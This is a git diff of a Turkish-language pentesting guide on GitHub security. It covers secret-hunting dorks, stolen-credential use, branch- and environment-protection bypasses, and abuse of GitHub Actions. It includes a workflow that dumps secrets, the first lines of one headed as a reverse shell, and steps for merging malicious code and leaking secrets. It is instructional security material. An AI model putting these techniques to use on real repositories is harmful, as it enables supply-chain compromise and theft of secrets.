a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -20,13 +20,13 @@ Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir. - **Dahili** demek, **sadece** **şirket** üyelerinin (bir şirketin birden fazla kuruluşu olabilir) erişebileceği anlamına gelir. - **Kamuya açık** demek, **tüm internet** erişebilecek demektir. -**Hedef almak istediğiniz kullanıcı, depo veya kuruluşu** biliyorsanız, **her depoda** hassas bilgileri bulmak veya **hassas bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz. +Eğer hedef almak istediğiniz **kullanıcı, depo veya kuruluşu** biliyorsanız, **duyarlı bilgileri bulmak** veya **her depoda duyarlı bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz. ### Github Dorks -Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dork ile hedefinizdeki **potansiyel hassas bilgileri** kolayca arayabilirsiniz. +Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, duyarlı bilgilerin yakınında görünecek bir dizi dize ile hedefinizde **potansiyel duyarlı bilgileri kolayca arayabilirsiniz**. -Araçlar (her araç kendi dork listesini içerir): +Araçlar (her araç kendi dork listesine sahiptir): - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) @@ -34,9 +34,9 @@ Araçlar (her araç kendi dork listesini içerir): ### Github Sızıntıları -Lütfen, github dorklarının sızıntıları aramak için de kullanılabileceğini unutmayın. Bu bölüm, **her depoyu indirip içlerinde hassas bilgileri arayan** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil). +Lütfen, github dorklarının sızıntıları aramak için de kullanıldığını unutmayın. Bu bölüm, **her depoyu indirip içlerinde duyarlı bilgileri arayacak** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil). -Araçlar (her araç kendi regex listesini içerir): +Araçlar (her araç kendi regex listesine sahiptir): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -51,11 +51,11 @@ Araçlar (her araç kendi regex listesini içerir): ### Harici Forklar -**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bununla ilgili daha fazla bilgi aşağıda**](./#execution-from-a-external-fork). +**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bu konuda daha fazla bilgi aşağıda**](./#execution-from-a-external-fork). ### Silinmiş/Dahili Forklarda Github Sızıntıları -Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin: +Silinmiş veya dahili olsa bile, github depolarının forklarından duyarlı verileri elde etmek mümkün olabilir. Buradan kontrol edin: {{#ref}} accessible-deleted-data-in-github.md @@ -67,25 +67,25 @@ accessible-deleted-data-in-github.md Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vardır. Bunlar `https://github.com/organizations//settings/member_privileges` sayfasından veya [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) üzerinden kontrol edilebilir. -- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Okuma/yazma/Yönetici izinlerine sahip olacaktır. Tavsiye edilen **None** veya **Okuma**dır. +- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Read/write/Admin iznine sahip olacaktır. Tavsiye edilen **None** veya **Read**'dir. - **Depo fork'lama**: Gerekli değilse, üyelerin kuruluş depolarını fork'lamalarına **izin vermemek** daha iyidir. - **Sayfa oluşturma**: Gerekli değilse, üyelerin kuruluş depolarından sayfa yayınlamalarına **izin vermemek** daha iyidir. Gerekliyse, kamuya açık veya özel sayfalar oluşturmasına izin verebilirsiniz. -- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim için GitHub veya OAuth uygulamalarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir. +- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir. - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ -- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **yönetici** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun. +- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **admin** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun. - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ -- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **yönetici** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır. +- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **admin** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır. - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ -- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı bırakılması daha iyidir. +- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı olması daha iyidir. - _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_ - **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha çok güvenlikle ilgilidir. ### Eylem Ayarları -`https://github.com/organizations//settings/actions` sayfasından eylemler için çeşitli güvenlikle ilgili ayarlar yapılandırılabilir. +Eylemler için birkaç güvenlikle ilgili ayar, `https://github.com/organizations//settings/actions` sayfasından yapılandırılabilir. > [!NOTE] -> Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın. +> Tüm bu yapılandırmaların her deponun bağımsız olarak da ayarlanabileceğini unutmayın. - **Github eylem politikaları**: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. **Hangi depoların** izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) @@ -93,7 +93,7 @@ Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vard - _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_ - **Fork pull request'lerden iş akışlarını çalıştırma**: **Pull request'lerden iş akışlarını çalıştırmak** kesinlikle **tavsiye edilmez**, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token'ları kullanma yetkisi alacaktır. - _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_ -- **İş akışı izinleri**: **Sadece okuma depo izinleri** vermek kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermekten kaçınılması önerilir. +- **İş akışı izinleri**: **Sadece okuma deposu izinleri vermek** kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermek tavsiye edilmez. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Entegrasyonlar @@ -101,7 +101,7 @@ Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vard _Bu bilgiyi erişmek için API uç noktasını biliyorsanız bana bildirin!_ - **Üçüncü taraf uygulama erişim politikası**: Her uygulamanın erişimini kısıtlamak ve yalnızca gerekli olanlara izin vermek tavsiye edilir (gözden geçirdikten sonra). -- **Yüklenmiş GitHub Uygulamaları**: Sadece gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir. +- **Yüklenmiş GitHub Uygulamaları**: Yalnızca gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir. ## Kimlik Bilgilerini Kötüye Kullanarak Keşif ve Saldırılar @@ -109,12 +109,12 @@ Bu senaryo için, bir github hesabına erişim sağladığınızı varsayacağı ### Kullanıcı Kimlik Bilgileri ile -Bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer bir ham üye iseniz, ham üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz. +Eğer bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer sıradan bir üyeseniz, sıradan üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz. **2FA'nın kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz. > [!NOTE] -> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz**. +> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır) **kullanıcıyı tamamen taklit edebilirsiniz**; kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan. Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass) hakkında kontrol edin, faydalı olabilir. @@ -122,7 +122,7 @@ Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass) Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz). -Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler** yapabilirsiniz, ancak bunu github api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**: +Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler yapabilirsiniz**, ancak bunu github api'ye erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**: ```bash # Go to the the repository folder # Get repo config and current user name and email @@ -130,7 +130,7 @@ git config --list ``` Eğer kullanıcı adını github kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. -**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğuna dair bilgi verecektir. +**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda da ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir. #### GPG Anahtarları @@ -142,7 +142,7 @@ gpg --list-secret-keys --keyid-format=long ``` ### Kullanıcı Tokeni ile -[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-github-information.md#personal-access-tokens) için bir giriş. +[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#personal-access-tokens) bir giriş için. Bir kullanıcı tokeni, HTTPS üzerinden Git için **şifre yerine** kullanılabilir veya [**API'ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için**](https://docs.github.com/v3/auth/#basic-authentication) kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz. @@ -150,21 +150,21 @@ Bir Kullanıcı tokeni şöyle görünür: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0d ### Oauth Uygulaması ile -[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#oauth-applications) için bir giriş. +[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#oauth-applications) bir giriş için. -Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. +Bir saldırgan, muhtemelen bir kimlik avı kampanyasının parçası olarak kullanıcıların kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) bunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz. -Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. +Ayrıca, temel bilgilerde açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. ### Github Uygulaması ile -[**Github Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#github-applications) için bir giriş. +[**Github Uygulamaları hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#github-applications) bir giriş için. -Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir. +Bir saldırgan, muhtemelen bir kimlik avı kampanyasının parçası olarak kullanıcıların kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir. -Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. +Ayrıca, temel bilgilerde açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir. ## Github Eylemini Ele Geçirme ve Kötüye Kullanma @@ -176,31 +176,31 @@ abusing-github-actions/ ## Dal Koruma Atlatma -- **Bir dizi onay gerektir**: Eğer birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. Eğer PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, eğer repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz. +- **Onay sayısını gerektir**: Birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz. - _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, PR'lerinizi kabul etmek için bunu kötüye kullanabilirsiniz._ -- **Yeni commitler gönderildiğinde onayları iptal et**: Eğer bu ayarlanmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz. -- **Kod Sahiplerinden inceleme gerektir**: Eğer bu etkinleştirildiyse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**. -- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında **Kod Sahipleri koruması uygulanmaz.** -- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlayabilirsiniz. -- **Yönetici dahil et**: Eğer bu ayarlanmadıysa ve repo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz. -- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirebilir, sonuçta oluşan PR'yi kendiniz onaylayabilir ve her şeyi birleştirebilirsiniz.** -- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz. -- **Push korumalarını atlama**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir). -- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod push yapmanıza izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod push **github eylemini tetikleyecektir**. +- **Yeni commitler gönderildiğinde onayları iptal et**: Bu ayar yapılmamışsa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz. +- **Kod Sahiplerinden inceleme gerektir**: Bu etkinleştirilmişse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**. +- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırılmışsa **Kod Sahipleri koruması uygulanmaz.** +- **Belirtilen aktörlerin pull request gereksinimlerini atlatmasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlatabilirsiniz. +- **Yönetici dahil et**: Bu ayar yapılmamışsa ve repo yöneticisiyseniz, bu dal korumalarını atlatabilirsiniz. +- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirme**, sonuçta oluşan PR'yi kendiniz onaylama ve her şeyi birleştirme yeteneğine sahip olabilirsiniz. +- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz, korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz. +- **Push korumalarını atlatma**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) göndermesine izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir). +- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod göndermeye izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod gönderimi **github eylemini tetikleyecektir**. -## Ortam Koruma Atlatma +## Ortam Korumasını Atlatma -[**Github Ortamı hakkında temel bilgileri kontrol edin**](basic-github-information.md#git-environments) için bir giriş. +[**Github Ortamı hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#git-environments) bir giriş için. -Eğer bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz). +Bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz). -Unutmayın, **tüm dalların korunduğu** (joker karakter `*` ile) bir kenar durumu bulabilirsiniz; burada **dallara kimin kod gönderebileceği** belirtilmiştir (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.** +Tüm dalların **korunduğu** (joker karakter `*` ile) ve **dallara kimin kod gönderebileceğinin belirtildiği** bir kenar durumu bulabileceğinizi unutmayın (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.** ```yaml push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch ``` -Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacaktır** ve bunu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız. +Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacak** ve onu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız. ## Süreklilik @@ -216,9 +216,9 @@ Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacak ### Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı -Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda fork versiyonu için bir **taahhüt** kimliği oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**. +Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda bir **taahhüt** kimliği, kodun fork versiyonu için oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**. -[**şu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi: +[**bu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi: ```yaml name: example on: [push] diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 9572fa5b9..612252aaf 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,8 +1,8 @@ -# Abusing Github Actions +# Github Actions'ı Kötüye Kullanma {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler Bu sayfada şunları bulacaksınız: @@ -12,13 +12,13 @@ Bu sayfada şunları bulacaksınız: - **Pull request** ile ilgili tetikleyicileri kötüye kullanmak - **Diğer dış erişim** tekniklerini kötüye kullanmak - Zaten ele geçirilmiş bir repodan **pivotlama** -- Son olarak, **içeriden bir action'ı kötüye kullanma sonrası teknikleri** hakkında bir bölüm (belirtilen etkileri oluşturur) +- Son olarak, **içeriden bir action'ı kötüye kullanma** ile ilgili **post-exploitation teknikleri** hakkında bir bölüm (belirtilen etkileri sağlamak için) -## Impacts Summary +## Etkilerin Özeti [**Github Actions hakkında temel bilgileri kontrol edin**](../basic-github-information.md#github-actions) için bir giriş. -Eğer bir **repository** içinde **rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz: +Eğer bir **repository** içinde **arbitrary code** çalıştırabiliyorsanız, şunları yapabilirsiniz: - Pipeline'a monte edilmiş **gizli bilgileri çalmak** ve **pipeline'ın ayrıcalıklarını kötüye kullanarak** AWS ve GCP gibi dış platformlara yetkisiz erişim sağlamak. - **Dağıtımları tehlikeye atmak** ve diğer **artifaktları**. @@ -32,12 +32,12 @@ Bu "**gizli**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gele
-Bu token, bir **Github Uygulaması tarafından kullanılacak** olan aynı token'dır, böylece aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Bu token, bir **Github Uygulaması'nın kullanacağı** aynı token'dır, bu nedenle aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç repolara erişmesine olanak tanıyan [**bir akış**](https://github.com/github/roadmap/issues/74) yayınlamalıdır. +> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç repolara erişmesine izin veren bir [**flow**](https://github.com/github/roadmap/issues/74) yayınlamalıdır. -Bu token'ın olası **izinlerini** burada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Bu token'ın olası **izinlerini** şurada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Token'ın **işlem tamamlandıktan sonra süresinin dolduğunu** unutmayın.\ Bu token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` @@ -81,11 +81,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizli bilgilerde github kullanıcı token'ları bulabileceksiniz**. Bu token'lar, size depo ve organizasyon üzerinde daha fazla yetki verebilir. +> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizliliklerde github kullanıcı token'larını bulabileceksiniz**. Bu token'lar, size depo ve organizasyon üzerinde daha fazla yetki verebilir.
-Github Action çıktısında gizli bilgileri listele +Github Action çıktısında gizlilikleri listele ```yaml name: list_env on: @@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Gizli anahtarlarla ters kabuk al +Gizli anahtarlarla ters shell al ```yaml name: revshell on: @@ -141,19 +141,19 @@ Github Token'ına verilen izinleri diğer kullanıcıların depolarında **logla ## İzin Verilen Çalıştırma > [!NOTE] -> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayıyor. +> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayar. > > Bu senaryoda iseniz, [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) bölümüne göz atabilirsiniz. -### Depo Oluşturarak Çalıştırma +### Depo Oluşturmadan Çalıştırma Eğer bir organizasyonun üyeleri **yeni depolar oluşturabiliyorsa** ve github eylemlerini çalıştırabiliyorsanız, **yeni bir depo oluşturup organizasyon seviyesinde ayarlanan gizli bilgileri çalabilirsiniz**. ### Yeni Bir Dal Üzerinden Çalıştırma -Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni dal üzerinden çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarı sızdırabilirsiniz** (ancak bunların nasıl adlandırıldığını bilmeniz gerekir). 